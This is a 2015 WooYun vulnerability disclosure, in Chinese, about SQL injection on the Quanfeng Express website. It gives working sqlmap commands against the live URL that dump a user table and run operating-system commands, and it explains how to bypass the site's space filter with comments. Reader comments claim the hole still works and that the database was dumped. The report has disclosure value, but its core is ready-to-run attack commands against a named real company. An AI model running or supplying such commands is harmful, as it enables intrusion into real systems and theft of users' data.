缺陷编号:WooYun-2015-0126134
漏洞标题:全峰快递主站SQL注入可执行命令导致全站沦陷
相关厂商:qfkd.com.cn
漏洞作者:lightless
提交时间:2015-07-11 15:25
公开时间:2015-08-25 15:26
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:未联系到厂商或者厂商积极忽略
Tags标签:
2015-07-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-08-25: 厂商已经主动忽略漏洞,细节向公众公开
外卖被台风吹走了。。好烦。。。
全峰快递主站存在注入点:http://www.qfkd.com.cn/city.aspx?wang=231&city=640&type=%E7%BD%91%E7%AB%99%E5%90%8D%E7%A7%B0&keywords=%E6%B5%99%E6%B1%9F参数keywords可以注入,但是过滤了空格,用注释绕过即可
1 |
$ python sqlmap.py -u "http://www.qfkd.com.cn/city.aspx?wang=231&city=640&type=%E7%BD%91%E7%AB%99%E5%90%8D%E7%A7%B0&keywords=%E6%B5%99%E6%B1%9F" -p keywords --tamper=space2comment -D qfhy -T dt_users |
数据库信息:
某个数据库里的表:
试了下可以执行命令,权限真大,吓死宝宝了。。
1 |
$ python sqlmap.py -u "http://www.qfkd.com.cn/city.aspx?wang=231&city=640&type=%E7%BD%91%E7%AB%99%E5%90%8D%E7%A7%B0&keywords=%E6%B5%99%E6%B1%9F" -p keywords --tamper=space2comment --os-cmd="whoami" |
剩下弹个shell回来的就不做了,不深入了。。谢绝跨省
过滤咯,别的地方都过滤了,就这个参数没过滤。。。权限降低些咯。。
未能联系到厂商或者厂商积极拒绝
漏洞Rank:15 (WooYun评价)
我去 还能用
运气不错,wooyun补rank了,我发的全峰的就直接忽略了
给他脱了。
无良厂商
这厂商~~~~都不补的啊~~~~
原文连接
的情况下转载,若非则不得使用我方内容。